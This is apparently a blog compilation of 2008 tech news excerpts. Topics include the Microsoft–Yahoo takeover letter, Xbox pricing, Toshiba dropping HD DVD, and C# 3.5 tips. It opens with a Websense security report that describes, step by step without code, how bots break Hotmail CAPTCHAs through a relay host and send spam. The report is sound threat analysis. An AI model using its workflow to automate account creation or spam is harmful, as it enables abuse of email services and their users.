Websense Security Labs ThreatSeeker™ technology has discovered that spammers in their recent tactics have drawn their attention towards traditional and infamous Hotmail, aka Live Hotmail services after the streamlined Live Mail Anti-CAPTCHA operations. Spammers have managed to create automated bots that are capable of not only signing up and creating random Hotmail accounts, but also use these accounts for spamming purposes from a proper Live Hotmail service. Websense predictions about this sophisticated spammer strategy at the time of Live Mail Anti-CAPTCHA and Gmail Anti-CAPTCHA operations, and its outcomes have been factual with this attack.

Websense believes that there are four main advantages to spammers from this approach. First, the Microsoft domain is unlikely to be blacklisted. Second, they are free to sign up. Third, the integration of Hotmail with wide range of Windows Live services. And fourth, it may be hard to keep track of them as there are millions of users worldwide using the service.
Let’s see the entire automated process in two stages.

Stage 1: Signing up and creating accounts successfully.
Part 1: Observe the bot hooking itself on to Internet Explorer browser on victims’ machine.

Part 2: Observe the set of pre-determined account names injected on to victims’ machine which bot attempts to sign-up over victims’ machine.

Part 3: The bot uses Internet Explorer browser in the background on the victims’ machine for attempting Hotmail account sign-up process.

Part 4: Observe the bot visiting Microsoft Hotmail account sign-up page, trying to grab CAPTCHA, and sending it to CAPTCHA breaking host for account creation.

Part 5: Try-break, try-break, try-break.

Part 6: Observe CAPTCHA images being collected as hidden files from victim’s machine during different account sign-up attempts.

Part 7: Unlike, Live Mail CAPTCHA break process, in this attack, the CAPTCHA breaking host communication with the victims’ machine is scrambled. It is observed that 8 characters in the CAPTCHA code are returned instantly during the sign-up, after the CAPTCHA image is sent to the breaking host. The bot infected or victims’ machine descrambles it to signup the account successfully.

Part 8: Observe that account is being signed up and created successfully.

Part 9: The created account credentials are returned back to CAPTCHA breaking host.

The entire process is automated and carried out in iterative manner until all the accounts are successfully signed up in the list injected (initially) on to victims’ machine (refer to Stage 1, Figure 1.2).
Stage 2: Spamming using created accounts from a proper Hotmail Server
Once all the accounts in the list (refer to Stage 1, Figure 1.2) are signed up by the bot, they are then picked randomly and used for spamming purposes.
Part 1: Observe the login process in action.

Part 2: Login process in further progress.

Part 3: Proper login in progress over SSL page.

Part 4: Observe the bot attempted a successful login on to a proper Live Hotmail Server page.

Part 5: Observe the bot attempting to initiate the edit process or composing a message for spamming.

Part 6: Spam message build in progress by the bot.

Part 7: Bot successfully filling in the "from email address list", “to email address“ lists , email subject, and the body to be included in the message for spamming purposes, there by competing its task.

End of message! Spam is being sent to targeted accounts.
Part 8: Finally the account is logged out to continue it similar operation with next email account.

Part 9:The entire process in action that is carried out in iterative manner to perform mass-mailing from different accounts created by the bot.

Spammers finally have success advertising their product.

Observations:
Stage 1: One in every 8 to 10 attempts to signup a hotmail account are successful. Hence success rate approximately ranges between 10 to 15%.
Stage 2: Spam campagins from one Hotmail account is sent to multiple accounts in CC and BCC list at a time. The same Hotmail account (or “from account/ address”) is not repeatedly used for sending spam campaigns continuously. They are changed in timely fashion by the bot. The same is the case with targeted accounts (or “to account(s)/ addresses) for spamming.
Additional Information:
It is observed that unlike Live Mail Anti-CAPTCHA and Gmail Anti-CAPTCHA operations in the past, the current attack is aggressive and instantaneous in terms of CAPTCHA breaking host turn-around time.
In the current attack, the response time of CAPTCHA breaking host after grabbing a CAPTCHA image from a victims’ machine, analyzing it, and responding back to victims’ machine with corresponding CAPTCHA code is relatively lower when compared to previous attacks.
Note 1: It is observed that the total response time for CAPTCHA breaking on the average is only about 6 seconds*.

Note 2: The timing on the request/response in this current attack clearly indicates the possibility of an automated system at the spammers’ end performing the Anti-CAPTCHA operation.
Websense believes that these accounts could be used by the spammers at any time for a variety of social-engineering attacks in future. A wide range of attacks (both manual and automated) would be possible using the same account credentials on other significant Live services integrated with Live Hotmail services offered by Microsoft Corporation, such as Live Messenger (instant messaging), Live Spaces (online storage), etc.

Note: For more information on Hotmail aka Live Hotmail and Live services, see the Hotmail, Live Hotmail and Live Mail entries on Wikipedia.
[/QUOTE]

Source: http://securitylabs.websense.com/

[QUOTE]
Dear Members of the Board:

It has now been more than two months since we made our proposal to acquire Yahoo! at a 62% premium to its closing price on January 31, 2008, the day prior to our announcement. Our goal in making such a generous offer was to create the basis for a speedy and ultimately friendly transaction. Despite this, the pace of the last two months has been anything but speedy.

While there has been some limited interaction between management of our two companies, there has been no meaningful negotiation to conclude an agreement. We understand that you have been meeting to consider and assess your alternatives, including alternative transactions with others in the industry, but we've seen no indication that you have authorized Yahoo! management to negotiate with Microsoft. This is despite the fact that our proposal is the only alternative put forward that offers your shareholders full and fair value for their shares, gives every shareholder a vote on the future of the company, and enhances choice for content creators, advertisers, and consumers.

During these two months of inactivity, the Internet has continued to march on, while the public equity markets and overall economic conditions have weakened considerably, both in general and for other Internet-focused companies in particular. At the same time, public indicators suggest that Yahoo!'s search and page view shares have declined. Finally, you have adopted new plans at the company that have made any change of control more costly.

By any fair measure, the large premium we offered in January is even more significant today. We believe that the majority of your shareholders share this assessment, even after reviewing your public disclosures relating to your future prospects.

Given these developments, we believe now is the time for our respective companies to authorize teams to sit down and negotiate a definitive agreement on a combination of our companies that will deliver superior value to our respective shareholders, creating a more efficient and competitive company that will provide greater value and service to our customers. If we have not concluded an agreement within the next three weeks, we will be compelled to take our case directly to your shareholders, including the initiation of a proxy contest to elect an alternative slate of directors for the Yahoo! board. The substantial premium reflected in our initial proposal anticipated a friendly transaction with you. If we are forced to take an offer directly to your shareholders, that action will have an undesirable impact on the value of your company from our perspective which will be reflected in the terms of our proposal.

It is unfortunate that by choosing not to enter into substantive negotiations with us, you have failed to give due consideration to a transaction that has tremendous benefits for Yahoo!'s shareholders and employees. We think it is critically important not to let this window of opportunity pass.
[/QUOTE]

Source: microsoft.com

[QUOTE]
Finally, the day has come. Viacom and SouthParkStudios delivered on the promise they gave last year, and gave us all South Park episodes ever created for free. You can find them all at www.southparkstudios.com. As NewTeeVee notes, it’s a pity you can’t embed the entire episodes (you can, however, embed the 3000 available clips), but I guess you can’t always have what you want.

The business side of things is quite simple: Comedy Central and Trey Parker and Matt Stone will split all ad revenue fifty-fifty. As for the rest of us, well, now we don’t have to go to obscure sites on foreign languages which get shut down after 2 weeks to get our South Park fix.
[/QUOTE]

Source: http://mashable.com/

Official: http://www.southparkstudios.com/news/3405

Definition: Software Update =  A new release (or version) of a piece of software that is generally understood to be an error correction release and does not contain new functionality. (as opposed to Upgrade) Updates are usually numbered by a change in the digit after the decimal. eg: V1.1 to V1.2

So far so good .... but some companies are redefining this. Example Apple:

[QUOTE]
What Apple is doing now with their Apple Software Update on Windows is wrong. It undermines the trust relationship great companies have with their customers, and that’s bad — not just for Apple, but for the security of the whole Web. What they did yesterday was to use their updater for iTunes to also install their Safari Web browser –what follows is some background and analysis.

Keeping software up to date is hard — hard for consumers to understand what patches are for, how to make sure they’re up to date.

It’s also critically, crucially important for the security of end users and for the security of the Web at large that people stay current. If people don’t update software regularly, it is impossible for them to remain safe; good software developers are creating improvements constantly. That’s why Mozilla spends so much time making sure our own Automatic Update Service works, and why we spend so much time agonizing over the user interface for the updates. We look at the data every time we do an update; we obsess about what we call “uptake rates” — the percentage of Firefox users who are on the most current version of the browser a day or a week or a month after release. As a result, Firefox users are incredibly up to date, and adopt very quickly.

There’s an implicit trust relationship between software makers and customers in this regard: as a software maker we promise to do our very best to keep users safe and will provide the quickest updates possible, with absolutely no other agenda. And when the user trusts the software maker, they’ll generally go ahead and install the patch, keeping themselves and everyone else safe.

Anyone who uses iTunes on Windows has Apple Software Update installed on their machines, which does just what I’ve described above: it checks for new patches available for Apple-produced software on your Windows machine, alerts the user to the availability, and allows updates to be installed. That’s great — wonderful, in fact. Makes everyone more likely to have current, patched versions of Apple’s software, and makes everyone safer.

Here’s screen that comes up on Windows XP if you’ve got iTunes installed:

(photo credit CNET)

The problem here is that it lists Safari for getting an update — and has the “Install” box checked by default — even if you haven’t ever installed Safari on your PC.

That’s a problem because of the dynamic I described above — by and large, all software makers are trying to get users to trust us on updates, and so the likely behavior here is for users to just click “Install 2 items,” which means that they’ve now installed a completely new piece of software, quite possibly completely unintentionally. Apple has made it incredibly easy — the default, even — for users to install ride along software that they didn’t ask for, and maybe didn’t want. This is wrong, and borders on malware distribution practices.

It’s wrong because it undermines the trust that we’re all trying to build with users. Because it means that an update isn’t just an update, but is maybe something more. Because it ultimately undermines the safety of users on the web by eroding that relationship. It’s a bad practice and should stop.

(I’ll make 2 points that I want to make very clear: (1) this is not a criticism of Safari as a web browser in any way, and (2) I have no objections to the basic industry practice of using your installed software as a channel for other software. This is specifically a criticism of the way they’re using the updating system. I’d much prefer to be writing about Firefox, but this practice hurts everyone and is important to note.)
[/QUOTE]

Source: http://john.jubjubs.net/

[QUOTE]
Microsoft stepped up to deliver iHD (later renamed HDi), which was a trademarked implementation of HD DVD's XML markup language. Toshiba liked it. They made HDi functionality a standard for HD DVD players, and eventually partnered with Microsoft to expand HDi's reach by founding the Advanced Interactivity Consortium. The primary goal of this group was forging industry relationships to further promote HDi in emerging outlets like downloadable and streaming media.

The deal gave HD DVD its competitive next-gen features, but here's the rub: Microsoft didn't need physical media to implement HDi. All of HDi's interactive bells and whistles could theoretically be applied to downloadable video content, as long as a runtime environment was available. Even as the disc format war raged on, elements of HDi's runtime environment showed up in Microsoft products like the Xbox 360 and Vista.

So, let's put everything together. Microsoft has a popular gaming console and an operating system that are HDi compatible. It also has a group of developers working on HDi applications, and a 360-accessible HD video library that could feasibly be outfitted with next-gen interactivity features. All that's left is the dog and pony show needed to convince content providers that HDi-enhanced content and Microsoft's video outlets are key to making HD video downloads a viable revenue stream.
[/QUOTE]

Full Story: thestandard.com

Microsoft released a number of significant changes and additions to Visual Studio and the .NET Framework over the last year or so. So you’re not alone if you find yourself occasionally feeling overwhelmed by all of the new changes. But if you think current projects keep you too busy to look at the latest releases, you need to remember the old adage about taking time out to sharpen your saw. In this article I’ll take some time to show you some great new additions to C# that can sharpen your productivity without a lot of effort.

Additions to C# in.NET Framework 3.5
In my first article about Visual Studio productivity enhancements, Microsoft Visual Studio 2008 Improvements, in the March 6, 2008 WindowsDevPro Update, I looked at improvements that developers can easily use without forcing us to change existing solutions or adopt entirely new coding paradigms. The same thing goes with the Visual Studio 2008/.NET Framework 3.5 Visual C# features that I’ll discuss here. All of these features are made possible through additional compiler support in the form of new syntax. This means that these new changes take only a few minutes to learn, yet they have the potential to provide significant productivity benefits.

The Coalescing Operator
It could be argued that the coalescing operator represents a minor change to C# in .NET Framework 3.5 and that if you’re not playing around with SQL Server LINQ, you might even miss this handy new bit of functionality. But if you’re too busy to check out LINQ, you still need to check out the coalescing operator as it can have a huge impact on your coding efficiency. Take a look at this code sample:

string middleName = txtMiddleName.Text ?? "";
Customer cust = GetCustomer(id) ?? new Customer();

I love it because it’s like having T-SQL’s ISNULL() or COALESCE() functions in C#, except that they’re implemented as an operator in C# which makes it lean, mean, and easy to use just about anywhere. I’ve found that using this operator can help to ensure that code remains sufficiently robust (by ensuring default values where needed) with a modicum of effort.

Object and Collection Initializers
I’m in love with C#’s new initializers; they’re valuable in many contexts because they’re an exceptionally clean way to create new objects or collections. For example, in applications where a business object is being edited or created based on an ID, if the ID is 0, then the action can represent the creation of a new object; otherwise it represents the ID of the object to edit. With object initializers I can easily define that logic in my code in a single line without jeopardizing readability:

User u = uId == 0 ? new User { Id = 0 } : GetUser(uId);
u.FirstName = txtFirstName.Text;
// etc.

I also find collection initializers to be extremely useful for simple logical evaluations like the following:

List<string> northWestStates =
    new List<string> { "Montana", "Idaho", "Washington", "Oregon" };
if(northWestStates.Contains(currentState))
    // state is a NW state

Of course, hard coding your logic like this doesn’t always make sense. But in cases where one-off evaluations are required by business logic, you can’t beat initializers for their ability to let you quickly code up a viable solution with minimal clutter.

Auto-Implemented Properties
I’ve also been using auto-implemented properties for a few months now. Each time I use this new syntax to create properties I’m amazed at how easy properties are to create now.

// 'traditional properties
private string _name;
public string Name
{
    get { return _name; }
    set { _name = value; }
}

// Auto-Implemented
//  exact same functionality, but less code
public string Name { get; set; }

Ironically, the hardest thing to get used to with automatic properties is remembering to use code snippets to create them, because that makes them a lot faster to implement. I frequently find myself creating properties by hand because it’s so easy with this new syntax.

Extension Methods
The thing I love most about C# in NET Framework 3.5 is extension methods. They’re important in making LINQ work, but I find that they’re extremely valuable in just about everything I do now. They’re extremely elegant and have virtually no learning curve, making them the perfect addition to any C# developer’s arsenal. Best of all, they help overcome some of the repetitive logic problems that I’ve been dealing with for so long–without making me link out to helper classes and other hacks.

Here are two extension methods that I’ve become addicted to:

public static bool IsEmpty(this string input)
{
    return string.IsNullOrEmpty(input);
}

public static string TrimTo(this string input, int len)
{
    if (input.IsEmpty())
        return input;

    if (input.Length > len)
        return input.Substring(0, len);

    return input;
}

IsEmpty() may not look like much (it looks like the old Visual Basic function IsEmpty()), but it’s become a life-saver for me. This is because checking strings in C# to see whether they’re null or empty gets a bit tedious. I know the string class offers a static .IsNullOrEmpty() method, which is much better than manually making those checks yourself, but it still ends up looking bulky in code. With IsEmpty() I’m able to abstract that same logic into a much cleaner bit of syntax that improves readability:

// good
if(text == null || text.Length < 1)
    // string is empty// better
if(string.IsNullOrEmpty(text))
    // string is empty// best (for me)
if (text.IsEmpty())
    // string is empty
The .TrimTo() method does more than just please my sense of aesthetics. In fact, it saves me oodles of time. For example, when persisting business objects to a database there’s that annoying impedance mismatch between SQL Server (or any  other database) and .NET: Where strings in .NET are of virtually any length, and strings in databases are typically constrained in size (to say, something like varchar(20)). Things get even worse with data such as Middle Names – which can be empty/null or up to a certain allowed length. Accordingly, a lot of my code accounts for that mismatch (whether I’m using stored procedures or LINQ) and looks like this:
Customer customer = new Customer();
if (string.IsNullOrEmpty(txtMName.Text))
    customer.MiddleName = "";
else
{
    if (txtMName.Text.Length > 30)
        customer.MiddleName = txtMName.Text.Substring(0, 30);
    else
        customer.MiddleName = txtMName.Text;
}

With .TrimTo() and the coalescing operator I’m able to ditch more than seven lines of code for the following single line of code that does the same thing:
customer.MiddleName = txtMName.Text.TrimTo(30) ?? "";
In each of my projects I’m now creating a static class or two to house my extension methods, which I create on a project-by-project basis to address common logical problems and repetitive tasks. And by placing these static classes into my projects without an explicit namespace, I’m able to access my encapsulated solutions wherever they’re needed, which has been a great productivity boost.

All This and a New Compiler Too
C# in .NET Framework 3.5 offers many great new additions; I’ve just scratched the surface here. You can use all of the additions that I’ve mentioned with very little effort or additional learning. And best of all, since these benefits are provided thanks to new compiler functionality, you can easily upgrade existing .NET Framework 3.0 and .NET Framework 2.0 applications to .NET Framework 3.5 without the pain associated with .NET Framework 1.0 to .NET Framework 2.0 conversions.

more on: http://www.windowsdevpro.com

[QUOTE]
Apparently, even subliminal exposure to the Apple logo can make you 'think different.' Researchers at Duke University subjected participants to subliminal images of the iconic Apple and IBM logos (during what subjects thought was a visual acuity test), and those who were shown the Apple logo generated more creative ideas after the test than did those who were shown the IBM logo. In a second test, subjects exposed to the Disney logo acted more honestly than those who saw an E! Channel logo.
[/QUOTE]

Here's a preprint of the paper (PDF) due for publication in the Journal of Consumer Research.

Source: http://apple.slashdot.org/

[QUOTE]

A number of credit card companies now issue credit cards with embedded RFIDs (radio frequency ID tags), with promises of enhanced security and speedy transactions.

But on today's episode of Boing Boing tv, hacker and inventor Pablos Holman shows Xeni how you can use about $8 worth of gear bought on eBay to read personal data from those credit cards -- cardholder name, credit card number, and whatever else your bank embeds in this manner.

Fears over data leaks from RFID-enabled cards aren't new, and some argue they're overblown -- but this demo shows just how cheap and easy the "sniffing" can be.

This episode is part of our ongoing series of interviews with some of the thinkers, hackers, and tinkerers at the O'Reilly Emerging Technology conference this year.
[/QUOTE]

Source: tv.boingboing.net (incl. discussion and downloadable video)

[QUOTE]
Previously, I looked at the Apple TV in isolation, to see how it fits as a digital hub. Apple isn't the only company that wants to have its device at the center of your home entertainment though, nor the only ones who want its storefront to be the one you use to download TV and movies. So in this next installment, I shall compare the Apple TV to what I think will be its closest rival, the Microsoft Xbox 360. Yes, you read that right. I am going to compare a game console with the Apple TV, but the comparison is not as far fetched as you might think. Both have storefronts where you can download TV episodes and movies. Both will rent you content in both HD and SD, and both will let you stream your own media through them to your TV and speakers.

Why the Apple TV is better:

• Cheaper than the Xbox 360
• Cheaper HD rentals
• Less restrictive licensing
• Build quality
• Better integration with the iTunes store
• Silent running
• Small form factor

Why the Xbox 360 is better:

• Lots of features when combined with Vista Windows Media Center
• Better picture quality (at the expense of file size)
• Plays games
• DVD drive (and the option of HD DVD)
• Includes cables

[/QUOTE]

Source: arstechnica.com (2 pages)

[QUOTE]
Microsoft today announced it is lowering the estimated retail price (ERP) for its Xbox 360™ family of consoles in Europe. Now with an entry-level ERP of €199.99/£159.99, Xbox 360 is a mass market entertainment proposition with something to offer for every interest and budget.

From Friday, 14th March, Xbox 360, which includes a 20GB hard drive and one wireless controller, will have an ERP of €269.99/£199.99 - a saving of €80/£50 on the current ERP. The Xbox 360 Elite, which comes with a massive 120GB hard drive enabling consumers to store huge quantities of content downloaded from Xbox LIVE™ Marketplace as well as their own music, will have an ERP of €369.99/£259.99 - a saving of €80/£40. The Xbox 360 Arcade console, perfect for those wishing to make their first foray into the gaming and entertainment world of Xbox, will have an ERP of €199.99/£159.99 - a saving of €80/£20.

Xbox 360 is the number one next-gen console in EMEA, owning 42% of the market in terms of life-to-date revenue. Xbox 360 continues to enjoy the highest software attach rate of any game console in Europe with more than 7.0 games sold per console (PS3: 3.8; Wii 3.5) after 26 months on the market .
The new ERPs are part of Microsoft's ongoing strategy to open up the ultimate in high-definition gaming and entertainment to an even wider audience, with an offering for everyone:

Best Choice for Families:

• Xbox 360 grows as your family does, offering games and entertainment for every member of the family - from movies to games to music videos.
• With over 150 3+ rated games and unparalleled parental controls, parents can feel good about their kids playing Xbox 360
  

Most Diverse Entertainment:

• Xbox 360 offers great choice in high-definition entertainment
• Xbox Live Video Store offers a wide variety of movies to download, both in HD and SD, enabling great entertainment in the living room at the press of a button
• It's easy to view and enjoy video and photos on Xbox 360 as well as connect wirelessly to share content with a Windows Media Center PC
  

The Best Games:

• There will be over 1,000 games available on Xbox 360 by the end of the year, with something for every skill level, interest and taste.
• New community games allow gamers to sample the best of indie games, providing innovative new ways to play and enjoy
• Blockbuster franchises like Grand Theft Auto IV, with exclusive downloadable episodes on Xbox LIVE, and Rock Band make Xbox 360 the place to be this Spring
• Xbox 360 exclusives for 2008 include Fable 2, Gears of War 2 and Too Human, setting new standards for next-generation gaming

"Xbox 360 is now mass market in Europe," said Chris Lewis, Vice President, Microsoft Interactive Entertainment Business Europe. "We have reached and surpassed several key milestones that form part of our long term strategic plan to achieve critical mass in Europe; and our portfolio now offers the kind of mainstream entertainment experiences that secure wider appeal for Xbox 360. These factors allow us to execute on our strategy to widen the market for Xbox 360, as planned.

"We continue to offer intense, immersive gaming experiences for gamers - but now we're priced in a way that will allow new consumers to find out for themselves why Xbox 360 is the ultimate in high-definition entertainment." said Lewis. "History shows that €199/£159 is the price point where a console's audience begins to expand, and with these new ERPs in place we're ready to bring more consumers into the Xbox 360 world."
[/QUOTE]

Source: http://www.microsoft.com/presspass/

[QUOTE]
Microsoft chief executive Steve Ballmer has admitted that the company is working on ways to support Blu-ray, the next-generation DVD format.

Although he did not talk specifically about the format in relation to gaming, he did concede it was time to move on following the collapse of the HD-DVD format earlier this year.

"We've already been working on, for example, in Windows, device driver support for Blu-ray drives and the like, and I think the world moves on," said Ballmer at the Mix08 conference.

"Toshiba has moved on. We've moved on, and we'll support Blu-ray in ways that make sense," he said.

Many are expecting Microsoft to announce a Blu-ray peripheral for the Xbox 360 in the near future, following the demise of the HD-DVD format and Microsoft's decision to end production of a HD-DVD add-on for its console.

According to a Financial Times report yesterday, Microsoft and Sony are currently in talks to offer a Blu-ray drive for the Xbox 360.
[/QUOTE]

Source: http://www.gamesindustry.biz

[QUOTE]
EU competition regulators dealt a new blow to Microsoft on Wednesday, fining the US software giant a record 899 million euros for defying a landmark 2004 anti-trust ruling.

The fine, equal to 1.4 billion dollars, is the biggest ever levelled against a single company in an EU antitrust case and brings the total penalties against Microsoft to just below 1.7 billion euros.
"Microsoft was the first company in 50 years of EU competition policy that the commission has had to fine for failure to comply with an anti-trust decision," EU Competition Commissioner Neelie Kroes said.

In reaction, Microsoft said it was "reviewing the commission's action" and highlighted that the latest EU action targeted "past issues."

"The commission announced in October 2007 that Microsoft was in full compliance with the 2004 decision, so these fines are about the past issues that have been resolved," the company said.
In particular, it accused Microsoft of using its stranglehold on PC operating systems to elbow rivals out of the more competitive markets for media players that play music and videos, and operating systems running back-office servers.
[/QUOTE]

Full Story: AFP

[QUOTE]
Downloading the new XNA Games takes a few extra steps.  You can watch a video (on Inside Xbox, or linked below) featuring Xbox LIVE's Michael Klucher to explain it, or use this handy-dandy crib sheet:

Xbox LIVE Community Games
Find out how to download the new XNA games from Xbox LIVE and play them on your console.  High | Low

1) Download XNA Creators Club Game Launcher (Marketplace/Game Store/All Games/XNA Creators Club).  Ignore the others.
(Note: If you use "XNA Game Launcher" or "XNA Game Studio Connect", you'll be told you need a Creators Club membership linked to your profile.)

2) Browse to My Games (Games/Games Library/My Games) and twist to XNA Creators Club.

3) Press Y to Download Games

4) Choose a game to download like any other game.

Filed Under: XNA, GDC

[/QUOTE]

Source: http://gamerscoreblog.com/team/

Here are the highlights:

• "The Xbox 360 community has unlocked over 1 billion achievements," says Schappert
• Over $250 million has been spent online in the Xbox Live Marketplace.
• How popular is Halo 3's saved films feature? Over 1,000 pieces are uploaded by the Halo 3 community every day -- that's 30% more than Youtube, claims Schappert.
• Over 800,000 downloads of the XNA toolset have occurred. It's been adopted by over 400 universities worldwide.
• DreamBuildPlay hoped to spur on creativity, and the results were "incredible." Over 200 games were submitted to the competition.
• Community games will be distributed through Xbox Live. "Xbox Live Community Games" will give creators a huge audience to share their creativity with. Game distribution will be democritized, allowing the community to control the content. Create, Submit, Peer Review, Play are the four key steps."
• Chris announced that Dishwasher, and 6 other community games will be available for you to try FREE on XBL marketplace later today.
• Also announced XNA games are coming to Zune.
• Tim Sweeney & Michael Capps from Epic are on stage showing off the next gen of Unreal Engine
• Over 1,000 games on Xbox 360 by the end of 2008, promises Schappert. And that excludes Xbox Live Community Games
• April 29th bring GTAIV to Xbox 360, "on day one." Starting Fall 2008, GTA DLC will hit Xbox Live Marketplace.
• A new guest on stage -- Team Ninja's Tomonobu Itagaki! He's here to demonstrate Ninja Gaiden 2. June 2008 is the release date.
• Peter Molyneux to show us Fable 2
• Cliffy B just burst through the set w/ Lancer to announce Gears of War 2 coming this November, exclusively on Xbox 360.
• Press Release: Xbox 360 Becomes First Video Game Console Ever to Invite the World to Create Original Games and Share Online With Millions

>> Microsoft's GDC keynote has been live blogged by joystiq.com and major nelson.

The new trailer for Gears of War 2 is now available on Xbox LIVE (only in Australia, Canada, Ireland, New Zealand, UK and US for now). If it's not available in your country yet, you can watch it below in low res:

Also added to Xbox LIVE (everywhere except Australia, Hong Kong, India, Korea, Mexico, New Zealand, Singapore, Taiwan) is the 'XNA Creators Club Game Launcher':

[QUOTE]
Microsoft Corp. is poised to try a hostile takeover of Yahoo Inc. by nominating its own slate of directors if the Sunnyvale Web portal fails to start negotiating its sale, according to a person familiar with the matter.

Microsoft's plan comes a little more than a week after Yahoo formally rebuffed a $44.6 billion acquisition proposal that would combine the two technology industry pioneers. The unsolicited offer substantially undervalued Yahoo and was not in the interest of its shareholders, Yahoo's board said.

Unwilling to take no for an answer, the Redmond, Wash., software behemoth is preparing a hostile bid - a proxy fight - that would ratchet up what is already among Silicon Valley's most high-profile takeover sagas. Such a tactic would open the door to months of campaigning by both companies for the hearts and minds of investors, who would be buffeted by conflicting viewpoints about Yahoo's future.

For Microsoft, trying to install a new board has its obvious advantage, aside from stacking a merger vote in the company's favor. The cost would be around $20 million to $30 million - mostly for legal and adviser fees - compared with spending billions dollars on a sweetened merger offer, according to the source, who is not authorized to speak publicly about the developments.

A Microsoft spokesman would say only that a hostile bid is one of many options being explored. A Yahoo spokeswoman reiterated that her company is evaluating several alternatives to the Microsoft bid, which, according to people familiar with the matter, include a potential partnership with News Corp., the owner of social-networking company MySpace.

To initiate a proxy fight, Microsoft would have to nominate a slate of Yahoo directors by March 14, the deadline for putting forward candidates. Investors would vote on the board's makeup in June during Yahoo's annual shareholder meeting.

Unlike many companies, Yahoo's board is structured so all 10 board members come up for election at the same time. Rather than having to wait years to get a majority, Microsoft therefore could wrest control in one fell swoop.

Simultaneous with the boardroom fight, Microsoft also plans to appeal directly to Yahoo investors to buy the Microsoft shares in what is known as an exchange offer, the source said. The process would require Microsoft to publish the number of shares it is willing to buy and the price it is willing to pay in its own shares.

Microsoft executives have repeatedly called their offer a full and fair price, although it has dropped in value to around $40 billion since it was originally offered Feb. 1 because it is pegged to Microsoft's share price. Executives have indicated that they won't increase their bid, although analysts say the company is likely to do so.

Carl Tobias, a law professor at University of Richmond who follows proxy fights, said that Microsoft is probably using the threat of a hostile takeover to scare Yahoo's board to the negotiating table. He cautioned that hostile takeovers, even when successful, often make bad business sense because they breed ill will among employees at the acquired company.

"These kinds of takeover bids aren't always successful, and they tend to be nasty," Tobias said. "Even if Microsoft wins, it may lose in terms of merging the corporate cultures."

Separately, Yahoo's board voted to provide employees with a more generous severance package if the company is acquired. Any full-time workers who are laid off without cause or who resign for good reason within two years of a merger will be able to collect their salaries for four months to two years, depending on their position.

With the plan, Yahoo, which is cutting 1,000 jobs, is trying to avoid any mass exodus of workers because of uncertainty surrounding Microsoft's potential takeover while adding extra costs onto the back of any company that takes over.

"It's a way of protecting you and putting your minds at ease so you can all focus on creating value for Yahoo," Jerry Yang, Yahoo's chief executive, said in an e-mail to employees Friday.
[/QUOTE]

Source: sfgate.com

[QUOTE]
Microsoft is giving away development and design software to university and high school students around the world through a program aimed at fostering technology innovation worldwide.

Microsoft Chairman Bill Gates is expected to unveil the DreamSpark program Tuesday at Stanford University on the first stop of a U.S. and Canadian college tour. The program is now available to more than 35 million college students in Belgium, China, Finland, France, Germany, Spain, Sweden, Switzerland, the U.K. and the U.S.

Software available to students through DreamSpark includes Microsoft's development environment, Visual Studio 2005 Professional Edition, and its Web and graphic design toolset, the Expression Studio. Microsoft also is making available XNA Game Studio 2.0, SQL Server Developer Edition, Windows Server Standard Edition and other software and resources through the program.

In the next six months Microsoft expects to extend the program to college students in Australia, the Czech Republic, Estonia, Japan, Lithuania, Latvia, Slovakia and other countries. And in the third quarter, the software will be available to high school students as well, Microsoft said.

DreamSpark is part of a company-wide effort to work with local governments, communities and academic institutions worldwide to give potential technology workers a head start in the competitive job market to foster technology innovation and improve citizens' quality of life, especially in developing countries.

Microsoft also is trying to compete worldwide with open-source technologies such as Linux that are freely available to anyone and thus popular with student computer enthusiasts who may not be able to afford to purchase Microsoft products.

One major benefactor of DreamSpark is Aisec, an international exchange student program. Its 28,000 students will get software such as Microsoft's Office productivity suite, said Michelle Galant, vice president of communications.

Aisec, which has 1,100 offices in 100 countries, will also use the company's Exchange e-mail server, Gallant said. "It enables us to run offices and enables us to run our exchange program," she said.[/QUOTE]

More information about DreamSpark can be found on Microsoft's MSDN developer site.

Full Story: pcworld.com

[QUOTE]
Toshiba Corporation today announced that it has undertaken a thorough review of its overall strategy for HD DVD and has decided it will no longer develop, manufacture and market HD DVD players and recorders. This decision has been made following recent major changes in the market. Toshiba will continue, however, to provide full product support and after-sales service for all owners of Toshiba HD DVD products.

HD DVD was developed to offer consumers access at an affordable price to high-quality, high definition content and prepare them for the digital convergence of tomorrow where the fusion of consumer electronics and IT will continue to progress.

"We carefully assessed the long-term impact of continuing the so-called 'next-generation format war' and concluded that a swift decision will best help the market develop," said Atsutoshi Nishida, President and CEO of Toshiba Corporation. "While we are disappointed for the company and more importantly, for the consumer, the real mass market opportunity for high definition content remains untapped and Toshiba is both able and determined to use our talent, technology and intellectual property to make digital convergence a reality."
Toshiba will continue to lead innovation, in a wide range of technologies that will drive mass market access to high definition content. These include high capacity NAND flash memory, small form factor hard disk drives, next generation CPUs, visual processing, and wireless and encryption technologies. The company expects to make forthcoming announcements around strategic progress in these convergence technologies.

Toshiba will begin to reduce shipments of HD DVD players and recorders to retail channels, aiming for cessation of these businesses by the end of March 2008. Toshiba also plans to end volume production of HD DVD disk drives for such applications as PCs and games in the same timeframe, yet will continue to make efforts to meet customer requirements. The company will continue to assess the position of notebook PCs with integrated HD DVD drives within the overall PC business relative to future market demand.
This decision will not impact on Toshiba's commitment to standard DVD, and the company will continue to market conventional DVD players and recorders. Toshiba intends to continue to contribute to the development of the DVD industry, as a member of the DVD Forum, an international organization with some 200 member companies, committed to the discussion and defining of optimum optical disc formats for the consumer and the related industries.

Toshiba also intends to maintain collaborative relations with the companies who joined with Toshiba in working to build up the HD DVD market, including Universal Studios, Paramount Pictures, and DreamWorks Animation and major Japanese and European content providers on the entertainment side, as well as leaders in the IT industry, including Microsoft, Intel, and HP. Toshiba will study possible collaboration with these companies for future business opportunities, utilizing the many assets generated through the development of HD DVD.
[/QUOTE]

Source: www.toshiba.co.jp

[QUOTE]
Toshiba Corporation has decided to withdraw from next generation high-definition DVD production.

The company said it will continue to sell HD-DVD products for a while but will stop further development of HD DVD. Meanwhile, it said its DVD factories in Aomori Prefecture, northern Japan, would be closed.

Market observers said that Toshiba could suffer a loss of hundreds of millions of US dollars.
[/QUOTE]

Full Story: nhk.or.jp

[QUOTE]
With Microsoft’s announcement today to buy cell phone software maker Danger Inc., the deal may not only strengthen the software giant’s position in consumer mobile phones and strengthen defenses against Google’s Android platform, but also mean a new addition for gamers.

The acquisition will provide more applications to Xbox through existing Danger services, Microsoft said. However, the possibility of a portable Xbox arises from Danger’s wide range of software, which can be made capable of playing some Xbox games, with the company’s gadgets used as the foundation for a portable gaming device capable of making phone calls.

